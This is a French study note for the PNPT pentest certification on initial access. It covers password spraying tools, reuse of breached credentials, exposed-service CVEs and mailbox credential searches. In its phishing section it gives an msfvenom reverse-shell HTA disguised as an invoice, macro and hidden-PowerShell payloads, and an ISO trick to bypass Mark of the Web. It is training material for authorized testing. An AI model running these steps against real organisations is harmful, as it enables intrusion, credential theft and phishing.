Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Certifications › PNPT-cert › 20-initial-access
May 18, 2026

Initial Access (PNPT)

L’accès initial, c’est le moment-charnière d’un pentest externe : on passe de “spectateur depuis Internet” à “pied dans la porte”. Tout l’effort qui suit (énumération AD, privesc, DA) dépend de cette première brèche. Cette note couvre les 5 grandes voies d’entrée et la méthodologie pour les exploiter.

Les cinq voies d’accès§

                  Pentest externe

        ┌─────────────────┼─────────────────┐
        │                 │                 │
        ▼                 ▼                 ▼
   Password         Credentials      Application web
   spraying         de breach        vulnérable
   (OWA, O365,      (DeHashed,       (CVE, SQLi,
   VPN, RDP)        HIBP)             RCE, XXE...)
        │                 │                 │
        └─────────────────┼─────────────────┘


                  Premier accès

        ┌─────────────────┼─────────────────┐
        │                                   │
        ▼                                   ▼
   Phishing                          CVE pre-auth
   (si dans le                       (Exchange, Citrix,
   scope — souvent                   Fortinet, Log4j)
   pas en PNPT)

À retenir : sur un pentest externe d’entreprise typique, le password spraying et le breach reuse représentent 80% des accès initiaux réels. Les CVE pre-auth glamour sont plus rares — la plupart des Exchange/Citrix exposés sont patchés.

Password Spraying§

Construction de la wordlist d’utilisateurs§

L’OSINT donne les noms d’employés. Reste à deviner le format d’email/username.

# Depuis LinkedIn
linkedin2username -c "Company" -d domaine.com

# Formats classiques à générer
john.smith
j.smith
jsmith
smith.j
smith

Une wordlist de 200 employés × 4 formats = 800 candidats à valider. o365spray --enum filtre ceux qui existent vraiment.

Patterns de mots de passe courants§

Le facteur humain est statistique. Ces patterns marchent souvent :

   Saison + Année (+ !)        : Spring2026, Summer2025!, Hiver2026
   Mois + Année + !            : January2026!
   NomEntreprise + 123 / !     : Cible123, CIBLE!, Cible2026
   Mots usuels                 : Welcome1, Password123, Changeme1!
   Issus de breaches du domaine: spécifiques, souvent jackpot

Outils par service§

O365 / OWA / Azure AD§

# o365spray — le standard
o365spray --validate --domain cible.com               # vérifier que c'est bien O365
o365spray --enum -U users.txt --domain cible.com      # quels users existent ?
o365spray --spray -U valid_users.txt -p 'Spring2026!' --domain cible.com \
          --count 1 --lockout 30                       # spray respectueux du lockout

# MSOLSpray (PowerShell)
Invoke-MSOLSpray -UserList users.txt -Password 'Spring2026!'

# MailSniper (OWA on-prem, Exchange)
Invoke-PasswordSprayOWA -ExchHostname mail.cible.com -UserList users.txt -Password 'Spring2026!'

Active Directory (Kerberos pre-auth — silencieux)§

kerbrute passwordspray -d cible.com --dc DC_IP users.txt 'Spring2026!'

SMB / WinRM (interne ou exposé)§

crackmapexec smb IP -u users.txt -p 'Spring2026!' --continue-on-success
crackmapexec winrm IP -u users.txt -p 'Spring2026!' --continue-on-success

VPN (SSL / IPsec)§

Fortinet, Pulse, Citrix — souvent via Burp Intruder ou modules dédiés. Lockout policy à vérifier d’abord.

Règles d’or du spraying§

   1 mot de passe à la fois → sur TOUS les users (jamais l'inverse)

   Espacer dans le temps    → 1 essai par compte / 30 min minimum
                              (Azure AD Smart Lockout est strict)

   Vérifier la lockout      → net accounts /domain pour AD
                              o365 = Smart Lockout dynamique

   Documenter chaque essai  → timestamp + user + password + résultat
                              utile pour le rapport et pour ne pas re-spray

Credentials issus de breaches§

# DeHashed (API ou web)
# Chercher : @cible.com → emails + mots de passe leak
# Tester ces couples sur les services exposés de la cible

# HaveIBeenPwned — confirmation qu'il y a eu un breach (pas le mot de passe)
# Utile pour cibler les employés dont les credentials ont fuité ailleurs

La réutilisation est la règle : un employé qui s’est inscrit avec son email pro sur un site oublié 5 ans en arrière, dont la base a fuité, utilise souvent encore le même mot de passe (variante mineure incluse).

Phishing (si scope autorisé)§

À la PNPT, pas dans le scope la plupart du temps. En pentest réel, c’est devenu le vecteur #1.

Vecteurs courants§

Frameworks§

Payloads de delivery§

# HTA
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f hta-psh -o invoice.hta

# Macro Office (VBA) — EvilClippy, macro_pack
macro_pack.exe -t WINDOWS-RUN -o -G payload.docm

# LNK avec PowerShell encodé en base64
# Cible : powershell -nop -w hidden -enc <BASE64>

# OneNote (.one) — pièces jointes embarquées, très efficace en 2024-2026

# ISO/IMG — contourne Mark of the Web (MoTW)
genisoimage -o payload.iso -V "Documents" payload_dir/

Pourquoi ISO contourne MoTW : Windows applique Mark of the Web sur les fichiers téléchargés (rendus moins exécutables). ISO étant un format “monté”, les fichiers à l’intérieur héritent rarement de MoTW.

Exploitation d’applications exposées§

Recon avant exploit§

# Détection de tech
whatweb http://cible.com
nuclei -t http/technologies/ -u http://cible.com

# Scan automatisé de vulns
nuclei -severity critical,high -u http://cible.com

CVE classiques sur services exposés§

ServiceCVEDescription
ExchangeProxyShell (CVE-2021-34473)RCE pre-auth
ExchangeProxyLogon (CVE-2021-26855)SSRF + RCE
Citrix ADCCVE-2023-3519RCE pre-auth
FortinetCVE-2022-40684Auth bypass
GitLabCVE-2021-22205RCE non-auth
ConfluenceCVE-2022-26134OGNL injection
Log4jCVE-2021-44228Log4Shell
MOVEitCVE-2023-34362SQLi → RCE
Ivanti VPNCVE-2023-46805 + CVE-2024-21887Auth bypass + RCE
# Recherche locale d'exploits
searchsploit "Apache 2.4.49"

# Scanner CVE avec Nuclei
nuclei -t cves/ -u http://cible.com

Toujours vérifier la version exacte avant de lancer un PoC. Beaucoup de PoC publics sont version-spécifiques.

Cas particulier — accès à une boîte mail§

Une fois OWA/O365 accessible, ne pas s’arrêter là. Les mailboxes sont des mines de credentials internes.

# MailSniper — chercher des credentials dans les mails
Invoke-SelfSearch -Mailbox [email protected] -Terms 'password','vpn','wifi','admin'
Invoke-GlobalMailSearch -ImpersonationAccount user -ExchHostname mail.cible.com

Aussi à explorer :

Méthodologie complète (PNPT externe)§

   Jour 1 — OSINT

     ├─ Identifier employés → wordlist users
     ├─ Identifier services exposés (Shodan, Censys, scan léger)
     └─ Chercher breaches (DeHashed, HIBP)


   Jour 1-2 — Recon active légère

     ├─ nmap -Pn -sS -p- sur les IPs in-scope
     ├─ Détection tech sur les sites
     └─ Énumération de users (kerbrute, o365spray --enum)


   Jour 2 — Tentatives d'accès en parallèle

     ├─ Password spray O365/OWA avec saison/année
     ├─ Test des credentials de breach
     ├─ Test des CVE sur services exposés
     └─ Test des credentials par défaut sur dashboards exposés


   Premier accès

     ├─ VPN/RDP    → énumération interne classique
     ├─ Webshell   → reverse shell + pivot
     └─ Mail accès → recherche credentials, OneDrive, SharePoint

Pièges courants§

—The Gardener